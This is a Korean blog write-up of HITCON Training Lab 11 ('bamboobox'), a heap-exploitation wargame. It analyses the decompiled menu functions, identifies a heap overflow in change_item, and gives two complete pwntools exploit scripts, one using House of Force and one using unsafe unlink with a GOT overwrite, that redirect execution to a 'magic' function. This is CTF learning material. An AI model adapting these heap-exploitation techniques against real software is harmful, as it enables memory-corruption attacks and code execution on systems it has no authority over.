블로그 이전했습니다. https://jeongzero.oopy.io/
[Hicon training] LAB 11
본문 바로가기
워게임/Hitcon training

[Hicon training] LAB 11

728x90

 

1. 문제


1) mitigation 확인 

PIE가 안걸려있다. NX비트와 카나리가 전부이다 

 

 

 

2) 문제 확인 

box에 아이템을 추가, 변경, 삭제, 확인할 수 있다 

 

 

 

3) 코드흐름 파악 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void (**v3)(void); // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = (void (**)(void))malloc(0x10uLL);
  *v3 = (void (*)(void))hello_message;
  v3[1] = (void (*)(void))goodbye_message;
  (*v3)();
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( (unsigned __int64)(unsigned int)atoi(&buf) )
    {
      case 1uLL:
        show_item();
        break;
      case 2uLL:
        add_item();
        break;
      case 3uLL:
        change_item();
        break;
      case 4uLL:
        remove_item();
        break;
      case 5uLL:
        v3[1]();
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}
  • 메인은 간단하다, 반복문을 돌면서, read함수로 입력을 받는다. 그다음 atoi 함수로 입력한 값을 인티저로 변경하여 해당 값에 알맞은 함수가 호출된다.
  • 만약 5를 입력하면, v3[1]()를 호출하는데, 이는 malloc(0x10)으로 할당받은 영역에 들어있는 함수포인터이다. v3[0]에는 hello_message 함수 포인터가 들어있고, v3[1]에는 goodbye_message가 들어있다

 

 

  • add_item() 함수
    __int64 add_item()
    {
      int i; // [rsp+4h] [rbp-1Ch]
      int v2; // [rsp+8h] [rbp-18h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v4; // [rsp+18h] [rbp-8h]
    
      v4 = __readfsqword(0x28u);
      if ( num > 99 )
      {
        puts("the box is full");
      }
      else
      {
        printf("Please enter the length of item name:");
        read(0, &buf, 8uLL);
        v2 = atoi(&buf);
        if ( !v2 )
        {
          puts("invaild length");
          return 0LL;
        }
        for ( i = 0; i <= 99; ++i )
        {
          if ( !qword_6020C8[2 * i] )
          {
            *((_DWORD *)&itemlist + 4 * i) = v2;
            qword_6020C8[2 * i] = malloc(v2);
            printf("Please enter the name of item:");
            *(_BYTE *)(qword_6020C8[2 * i] + (int)read(0, (void *)qword_6020C8[2 * i], v2)) = 0;
            ++num;
            return 0LL;
          }
        }
      }
      return 0LL;
    }
    • bss 영역에 num변수가 설정되어있다. 해당 값이 99보다 커지면 더이상 해당 함수를 호출할수 없다. 즉 malloc이 가능한 횟수는 최대 99번이다.
    • qword_6020C8 은 bss영역에 존재하는 배열이다. add_item 함수가 한번 호출될때마다, 배열의 인덱스를 2개 사용한다. 하나는 사용자가 입력한 사이즈가 저장되고, 하나는, 힙 영역의 주소가 저장된다.
    • 마지막으로 read함수를 이용하여 힙 영역에 데이터를 저장하고, 마지막에 0을 삽입한다. 그리고 num을 하나 증가시킨다

     

     

  • remove_item() 함수
    unsigned __int64 remove_item()
    {
      int v1; // [rsp+Ch] [rbp-14h]
      char buf; // [rsp+10h] [rbp-10h]
      unsigned __int64 v3; // [rsp+18h] [rbp-8h]
    
      v3 = __readfsqword(0x28u);
      if ( num )
      {
        printf("Please enter the index of item:");
        read(0, &buf, 8uLL);
        v1 = atoi(&buf);
        if ( qword_6020C8[2 * v1] )
        {
          free((void *)qword_6020C8[2 * v1]);
          qword_6020C8[2 * v1] = 0LL;
          *((_DWORD *)&itemlist + 4 * v1) = 0;
          puts("remove successful!!");
          --num;
        }
        else
        {
          puts("invaild index");
        }
      }
      else
      {
        puts("No item in the box");
      }
      return __readfsqword(0x28u) ^ v3;
    }
    • 삭제하고자 하는 인덱스를 입력하고 해당 인덱스에 해당하는 배열에 값이 존재하면, 즉 청크의 주소가 들어있으면, 해당 청크를 free시킨다
    • 그다음 해당 청크에 해당하는 사이즈와 청크 주소를 배열의 주소에서 삭제한다. 이로서 DFB를 사용하지 못한다

     

     

  • change_item() 함수
    unsigned __int64 change_item()
    {
      int v1; // [rsp+4h] [rbp-2Ch]
      int v2; // [rsp+8h] [rbp-28h]
      char buf; // [rsp+10h] [rbp-20h]
      char nptr; // [rsp+20h] [rbp-10h]
      unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    
      v5 = __readfsqword(0x28u);
      if ( num )
      {
        printf("Please enter the index of item:");
        read(0, &buf, 8uLL);
        v1 = atoi(&buf);
        if ( qword_6020C8[2 * v1] )
        {
          printf("Please enter the length of item name:");
          read(0, &nptr, 8uLL);
          v2 = atoi(&nptr);
          printf("Please enter the new name of the item:");
          *(_BYTE *)(qword_6020C8[2 * v1] + (int)read(0, (void *)qword_6020C8[2 * v1], v2)) = 0;
        }
        else
        {
          puts("invaild index");
        }
      }
      else
      {
        puts("No item in the box");
      }
      return __readfsqword(0x28u) ^ v5;
    }
    • 변경하고자하는 청크가 저장되어있는 itemlist 배열의 인덱스를 선택한다.
    • 해당 인덱스에 해당하는 청크 주소가 존재하면, read함수를 호출하여 수정할 사이즈를 입력하고 그만큼 입력이 가능하다.
    • 이를 통해 처음에 할당받은 청크 사이즈보다 더 큰 데이터가 입력가능하여 힘 오버플로우를 일으킬수 있다

     

     

  • show_item() 함수
    int show_item()
    {
      int i; // [rsp+Ch] [rbp-4h]
    
      if ( !num )
        return puts("No item in the box");
      for ( i = 0; i <= 99; ++i )
      {
        if ( qword_6020C8[2 * i] )
          printf("%d : %s", (unsigned int)i, qword_6020C8[2 * i]);
      }
      return puts(byte_401089);
    }
    • qword_6020C8에 저장된 입력한 인덱스에 해당하는 청크에 담긴 데이터를 출력한다

     

     

     

 

 

2. 접근방법


해당 문제는 house of fouce, unsafe unlink 두가지 방법으로 문제를 해결할 수 있다. 둘다 접해보지 못한 문제였기 때문에, 먼저 공부를 진행한뒤, 문제풀이를 시작하였다. 해당 기법에 대한 분석자료는 아래에서 확인 가능하다 

 

House of Force 분석
https://wogh8732.tistory.com/196?category=699165

 

Unsafe Unlink 분석
https://wogh8732.tistory.com/195?category=699165

 

 

2.1 House of Force를 이용한 풀이


현재 change_item() 함수를 이용하여 Top 청크의 사이즈를 수정 가능하고, 또한 malloc도 충분히 많이 할수 있기 때문에 House of Fouce를 이용할 수 있다. 

 

우리의 최종 목표는 magic 함수를 호출하는 것이다. hello_message 함수포인터는 초기에 딱한번 호출되기 때문에 건들기 힘들고, 메뉴 5번을 눌렀을때 호출되는 goodbye_message 함수 포인터를 magic함수로 덮으면 될 것이다. 

 

Top 청크를 heap_base에 맨 처음 할당된 malloc(0x10) 청크로 변경하고, malloc을 한번더 호출하면, hello_message가 담겨있는 mem 영역부터 수정이 가능하다. goodbye_message가 담긴 부분에 magic함수를 넣고, 메인에서 5를 선택하여 해당 함수가 호출되면 끝이다. 

 

현재 Top 청크의 주소는 0x12cb050이다. 이 부분을 change_item() 함수를 이용하여 0xffffffffffffffff으로 덮었다. 현재 우리는 0x12cb018에 위치해있는 0x4008b1 즉, goodbye_message 함수를, 변경하는 것이기 때문에 top 청크를 0x12cb000으로 변경시켜야 한다. 

 

목표주소(0x12cb010) - 탑청크주소(0x12cb050) - 0x10 - 0x10 = 0xFFFFFFFFFFFFFFA0 = -96

 

 

(디버깅 하다 끄고 다시해서 주소는 신경쓰지 말고 오프셋만 보세요..) 

현재 add_item(-96) 을 주게 되면, 탑 청크의 주소가 0x23e000으로 변경됬고, 여기서 add_item을 한번더 호출하면 0x23e010 주소가 리턴되어 이 곳에 원하는 데이터를 삽입 가능하다. 

 

보면 goodbye_message 함수포인터가 magic함수로 덮힌 것을 확인할 수 있다. 

 

 

 

2.2 Unsafe Unlink를 이용한 풀이


이 방법역시 change_item() 함수를 이용하여 두번째 청크의 헤더 부분을 조작가능하다.  

이번에는 atoi 함수의 got를 overwrite해서 magic함수로 덮는 것을 목표로 하겠다. 

 

현재 itemlist+8 단위로 청크의 주소가 들어가므로 전역변수를 itemlist+8 즉, 0x6020C8를 기준으로 unlink를 호출해보자. 

 

현재 3번의 add_item() 호출을 통해 itemlist에 3개의 청크 주소가 들어가 있다. 여기서 change_item()함수를 호출하여 0번인덱스를 선택하였다. 그 다음 위 사진처럼 unlink에 필요한 데이터를 삽입하였다. 0x6020c8 - 24 = 0x6020b0 이다. 따로 설명은 안하겠다. 이제 remove_item함수를 호출하여 1번 인덱스를 free시키겠다. 

 

FD->bk = BK; BK->fd = FD;  

이 두개가 unlink 함수 호출시 호출되게 되는데 FD→bk, BK→fd 둘다 fake 청크 즉 0x6020C8 이므로 해당 위치에 최종적으로 FD값인 0x6020C8 - 24 = 0x6020b0이 들어간다. 이제 change_item 함수를 호출하여 0번인덱스를 선택하면 0x6020b0위치에 있는 값 부터 수정 가능하다, "A"*16+atoi_got 를 입력하면, 0x6020c8에 atoi_got가 들어갈 것이다 

 

이제 한번더 change_item함수를 호출하여 0번 인덱스를 선택하면 0x602068에 들어있는 값을 수정가능하고, 여기에 magic함수를 넣으면 끝이다. 

 

 

3. 풀이


  1. house of fouce 이용한 익스코드
    from pwn import *
    context(log_level="DEBUG")
    p=process("./bamboobox")
    
    gdb.attach(p,'code\nb *0xe90+$code\n')
    
    def add_(size,content):
            p.sendlineafter("choice:","2")
            p.sendafter("name:",str(size))
            p.sendafter("item:",str(content))
    
    def remove_(index):
            p.sendlineafter("choice:","4")
            p.sendlineafter("item:",str(index))
    
    def change_(index,size,content):
            p.sendlineafter("choice:","3")
            p.sendlineafter("index of item:",str(index))
            p.sendafter("length of item name:",str(size))
            p.sendafter("the item:",str(content))
    
    add_(32,"A"*3)
    
    change_(0,48,"A"*40+p64(0xffffffffffffffff))
    
    add_(-96,"A")
    pause()
    add_(16,p64(0x400d49)+p64(0x400d49))
    
    p.sendlineafter("choice:","5")
    
    p.interactive()

     

     

  1. Unsafe Unlink를 이용한 익스코드
    from pwn import *
    context(log_level="DEBUG")
    p=process("./bamboobox")
    e=ELF("./bamboobox")
    gdb.attach(p,'code\nb *0xE9C+$code\n')
    
    def add_(size,content):
            p.sendlineafter("choice:","2")
            p.sendafter("name:",str(size))
            p.sendafter("item:",str(content))
    
    def remove_(index):
            p.sendlineafter("choice:","4")
            p.sendlineafter("item:",str(index))
    
    def change_(index,size,content):
            p.sendlineafter("choice:","3")
            p.sendlineafter("index of item:",str(index))
            p.sendafter("length of item name:",str(size))
            p.sendafter("the item:",str(content))
    
    itemlist=0x6020c8
    
    add_(128,"A")
    add_(128,"A")
    add_(128,"A") #for did not consolidation with top chunk
    
    payload=p64(0)
    payload+=p64(0)
    payload+=p64(itemlist-24)
    payload+=p64(itemlist-16)
    payload+="B"*96
    payload+=p64(0x80)
    payload+=p64(0x90)
    
    change_(0,len(payload),payload)
    
    remove_(1)
    payload2="A"*24
    payload2+=p64(e.got['atoi'])
    change_(0,len(payload2),payload2)
    change_(0,8,p64(0x400D49))
    
    p.sendlineafter("choice:","2")
    p.interactive()

 

 

4. 몰랐던 개념


  • house of Fouce
  • Unsafe Unlink
728x90

'워게임 > Hitcon training' 카테고리의 다른 글

[Hicon training] LAB 13  (0) 2020.04.23
[Hicon training] LAB 12  (0) 2020.04.21
[Hicon training] LAB 10  (0) 2020.04.16
[Hicon training] LAB 9  (0) 2020.04.16
[Hicon training] LAB 8  (0) 2020.04.15